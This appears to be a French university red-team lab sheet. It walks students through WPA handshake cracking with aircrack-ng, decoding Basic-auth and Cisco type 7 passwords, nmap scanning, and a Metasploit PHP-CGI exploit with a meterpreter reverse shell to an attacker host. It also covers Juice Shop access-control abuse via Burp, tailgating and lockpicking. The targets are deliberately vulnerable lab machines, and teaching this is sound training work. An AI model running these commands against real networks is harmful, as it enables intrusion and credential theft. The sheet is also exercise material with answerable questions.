TP RedTeam (beta)

Responsables : Jp Gelas, Thomas Begin


Objectif : Ce TP expérimental est composé de différente partie que vous pourriez rencontrez dans un scénario pentest type RedTeam. Il n'est absolument pas exhaustif de tout ce que vous pourriez rencontrer en réalité. Néanmoins ce TP a pour objectif d'être ludique et vous permettre de découvrir plusieurs outils.

Premier accès à proximité (Wifi)

Après une phase de renseignements faite sur le net qui n'a pas donné grand chose vous décidez de vous approcher physiquement du lieu de l'action. Vous vous garez discrètement en voiture le long du bâtiment de l'entreprise cible, et sortez votre matèriel WiFi pour capturer le trafic réseau a porté de votre antenne. Après avoir envoyé quelques paquets DEAUTH, la pêche s'avère fructueuse car vous avez capturer plusieurs séquences de paquets intéressantes. En particulier des séquences d'authentifications (eapol).

Télécharger les captures ici

calimero0

L’administrateur de cet AP, dont le SSID est 'calimero0' semble ne pas être très au fait des problèmes de sécurité et surtout n’a pas beaucoup d’imagination. Essayez en priorité des mots de passe relativement évidents (Ex : admin, password, motdepasse, 12345678, abcdefgh, le SSID,… ).

Créez un fichier dictionnaire avec les mots de passe en exemple ci-dessus (un mot de passe par ligne). Puis appliquer dessus la commande

aircrack-ng -w [password_list_file].txt calimero0.cap
Quel est le mot de passe ?

calimero1

Pour cet AP, l’administrateur a bien changé le mot de passe par défaut et utilisé un mot de passe plus robuste. Vous allez devoir utiliser un dictionnaire plus conséquent (exemple : rockyou.txt).

Attention cela peut prendre du temps. Lancez la commande aircrack-ng et passez à la suite.

Quel est le mot de passe ?

calimero2

Lors de vos recherches vous avez noté que l’administrateur préfixe souvent ses mots de passe par la chaîne de caractères nautibus et qu’il fait suivre ce mot de 4 chiffres décimaux (Exemples : nautibus1234, nautibus0000,...). Après avoir évalué le nombre de combinaisons possibles et la taille du fichier dictionnaire, construisez votre propre dictionnaire (une combinaison par ligne) et utilisez le pour craquer la PSK (pre-shared key) de chiffrement.

Quel est le mot de passe ?

Analyse de traces réseau

Cela fait déjà un bon moment que vous trainez garé devant le bâtiment de l'entreprise cible. Vous ne voulez pas vous faire repérer et décidez de rentrer au QG. Vous voilà bien au chaud et décidez d'analyser le reste des traces réseau que vous avez capturé.

calimero3

Une requête GET HTTP a été capturé en provenance d'un poste. On dirait bien une requête d'authentification. On ne peut négliger ce mot de passe encodé qu'elle contient. C'est peut être aussi celui d'un AP ou autre service.

...
GET / HTTP/1.1
Authorization: Basic VGhpc1Bhc3NJc0Jhc2U2NEVuY29kZWQ=
User-Agent: InsaneBrowser
Host: www.ledomaine.org
Accept: */*
...
Quel est le mot de passe ?

calimero4

La trace réseau suivante simpleauth.pcapng.gz contient des échanges de paquets contenant un mot de passe également.

Quel est le mot de passe ?

calimero5

Vous avez mis la main sur un fichier de configuration d'un équipement Cisco (un extrait ci-dessous). Vous constatez que la plupart des mots de passe sont chiffrés avec un hash cisco 7 réputé faible (i.e. réversible car c'est une simple obfuscation via une série de xor). Le mot de passe cherché est celui du mode enable (type 5 / md5) qui lui est incassable en un temps raisonnable avec les ressources à votre disposition puisqu'il fait minimum 8 caractères d'après le fichier de configuration. Par déduction peut être allez vous quand même découvrir le mot de passe de enable.

!
security passwords min-length 8
no logging console
enable secret 5 $1$p8Y6$MCdRLBzuGlfOs9S.hXOp0.
!
username hub password 7 025017705B3907344E 
username admin privilege 15 password 7 10181A325528130F010D24
username guest password 7 124F163C42340B112F3830
!
line con 0
 password 7 144101205C3B29242A3B3C3927
 session-timeout 600

Voici un lien vers un outil en ligne pour craquer les mots de passe Cisco de type 7 (lien)

Quel est le mot de passe ?

Remarque : Ce challenge est tiré de root-me.org une plateforme pour tester ses compétences en hacking.

calimero6

Pour cette trace réseau qui contient bien une séquence eapol vous faites l'hypothèse que l'administrateur n'a peut être pas changé le mot de passe par défaut sachant que l'AP utilisé est un Micronet - Access Point - SP912.

Quel est le mot de passe par défaut ?

calimero7

Analysez la trace réseau pcap disponible ici. Elle contient le mot de passe dans un document.

Quel est le mot de passe caché ?

Scan réseau (nmap)

Si la VM cible n'est pas disponible vous pouvez lancer la victime dans un container localement.

docker run -d --name metasploitable2 -it -p 21:21 -p 6200:6200 -p 80:80 -p 2222:22 -p 5900:5900 -p 139:139 -p 445:445 tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"

On se retrouve sur le sujet nmap. Si vous n'avez jamais utilisé l'outil de scan réseau nmap je vous invite à lire l'introduction proposé dans ce sujet. Puis allez directement à la section "A vous de jouer ?" -> "metasploitable2" du sujet nmap.

Quel est la version du serveur SSH en écoute sur le port 2222 ?
Quel est le nom et la version du service FTP ?

Metasploit - Service Web vulnérable

Le serveur web hébergé sur la machine cible propose des pages avec l'extension .php. Pour déterminer avec certitude quelle version de PHP est utilisé sur la machine cible vous allez utiliser l'outil dirb qui permet de vérifier la présence d'un fichier phpinfo.php.

dirb http://adresseIPMachineCible

Appelez ensuite ce fichier avec votre navigateur.

Quelle version de moteur PHP est utilisée ?

Après quelques recherche rapide sur Internet vous découvrez que cette version PHP est connue pour être vulnerable à PHPCGI Argument Injection.

Lancez la console de Metasploit : msfconsole

Quelles sont les arguments à passer à la commande search pour retrouver le nom exact du module disponible dans Metasploit sachant qu'il date de 2012 (cve:2012) et qu'il est classé comme excellent (rank: excellent).

Donnez la commande saisie dans l'interface de Metasploit

Utilisez le framework pour exploiter cette vulnerabilité.

use exploit/multi/http/php_cgi_arg_injection
set RHOST @IPcible
show payloads
set payload php/meterpreter/reverse_tcp
set LHOST @IPattaquant
run
meterpreter > shell

Note : La commande show payloads affiche la liste des payloads pour cet exploit. Utilisez le payload par défaut php/meterpreter/reverse_tcp

Une fois l'exploit lancé (avec la commande run ou exploit) vous devriez vous retrouver dans un shell meterpreter.

Meterpreter est un outil qui simplifie la phase de post-exploitation. C'est plus exactement une charge utile (un payload) particulièrement avancée permettant de simplifier la phase de post-exploitation grâce à la mise à disposition d’un shell interactif. Ce payload, entièrement exécuté en mémoire, intègre de nombreuses fonctionnalités, par exemple télécharger des fichiers, lancer un keylogger, prendre des captures d’écran, etc.... Meterpreter est principalement disponible pour les cibles Windows. Néanmoins, il existe aussi des payloads permettant d’obtenir une session Meterpreter sous Linux et MacOS.

Tapez les commandes help, sysinfo, getuid, shell,...

Quel est la version du noyau Linux de la machine cible ?

Burpsuite - Broken Access Control (Top 10 OWASP)

Si la VM cible n'est pas disponible vous pouvez lancer la victime dans un container localement.

docker run --rm -d  -p 80:3000 bkimminich/juice-shop

Pour faciliter la recherche et l'exploitation de vulnérabilités, vous allez utiliser un outil qui permet d’intercepter, modifier et répéter les requêtes http. Cet outil se nomme Burp Suite. Il est utilisé par la majorité des pentesteurs et Bug Hunters. C’est une application Java, développée par PortSwigger Ltd, qui peut être utilisée pour la sécurisation ou effectuer des tests de pénétration sur les applications web. Burp Suite est composé de différents outils comme un serveur proxy, un robot d’indexation, un outil d'intrusion, un scanner de vulnérabilités et un répéteur HTTP. Pour faire simple, Burp Suite fonctionne comme un proxy. Il se met entre vous et l’application Web testée, puis intercepte et analyse toutes vos requêtes et les réponses de l’application Web.

Vous pouvez consulter ce document (sujet de TP OWASP) plus complet pour réaliser les tâches proposées ci-dessous.

Votre cible à présent est un serveur web relativement moderne qui héberge un site de e-commerce proposant à la vente des jus de fruits (Juice Shop). Votre objectif est d'accéder au panier d'achat d'un autre utilisateur.

Trouver et exploiter la vulnérabilité de contrôle d'accès cassé. Cette possibilité est présente dans la fonctionnalité d'affichage du panier et vous permet de visualiser le panier de n'importe quel utilisateur de l'application. Analyser comment fonctionne la visualisation du panier. Créez un compte, authentifiez-vous et ajoutez un article dans le panier (basket ou shopping cart). Activez le proxy Burp et trouvez la requête REST qui récupère les articles du panier de l’utilisateur. Envoyez cette requête dans Burp Suite Repeater et analysez le résultat. (Faites attention à l'en-tête HTTP If-None-Match !)

Lorsque vous avez compris comment fonctionne la récupération du panier, essayez de manipuler la requête pour récupérer le panier de l'administrateur (utilisateur avec l’id 1).

Combien de jus de fruit différents a t-il dans son panier ?

Analyse de firmware

Vous avez repéré le modèle de caméra utilisé pour assurer la vidéosurveillance de l'entreprise. Vous voulez en savoir plus sur ce modèle pour peut être exploiter une faille et en tirer avantage. Rendez-vous ici.

Pour quel type de processeur les binaires ont-il été compilé ?
Où se trouve les fichiers qui constitue les pages web ?

Introduction physique

Social engineering

Vous vous tenez devant la porte d'entrée sécurisé de l'entreprise. Un café à la main. L'air détendu. Un jeune employé (probablement un stagiaire) passe devant vous et vous salut timidement de la tête, vous le saluez en retour et lui déclaré en souriant qu'il est temps de vous remettre au travail aussi. Vous lui emboité le pas, il badge et vous tiens poliment la porte. Vous le remercié poliment et vous vous souhaitez mutuellement une bonne journée.

Comment se nomme en Anglais ce type d'attaque ou ruse pour entrer dans un bâtiment sécurisé ?

Lockpicking

Vous avez été repéré. Vous devez évacuer ! Pas question de se faire prendre maintenant alors que vous avez fait un sans faute jusque là. Vous vous engoufrez dans un couloir sombre. Au bout de ce couloir une porte verrouillée par un cadenas (transparent ???). Muni de votre kit de crochetage vous devez ouvrir ce cadenas sans laisser de traces d'effraction. Si vous réussissez, bravo vous avez terminé ce TP expérimental !